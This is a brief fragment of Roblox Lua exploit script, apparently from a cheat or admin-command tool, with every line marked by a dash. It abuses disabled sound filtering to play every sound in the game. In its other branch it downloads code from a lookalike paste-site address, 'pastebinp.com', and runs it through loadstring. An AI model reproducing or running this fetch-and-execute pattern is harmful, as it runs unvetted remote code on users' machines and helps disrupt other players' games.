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- if game.SoundService.RespectFilteringEnabled == false then
- for i,v in pairs(game.Workspace:GetDescendants()) do
- if v:IsA("Sound") then
- v:Play()
- end
- end
- else
- loadstring(game:HttpGetAsync("https://pastebinp.com/raw/Ts8TSAZN", 0, true))()
- notify("Sound is unexploitable.", warn(":("))
- end
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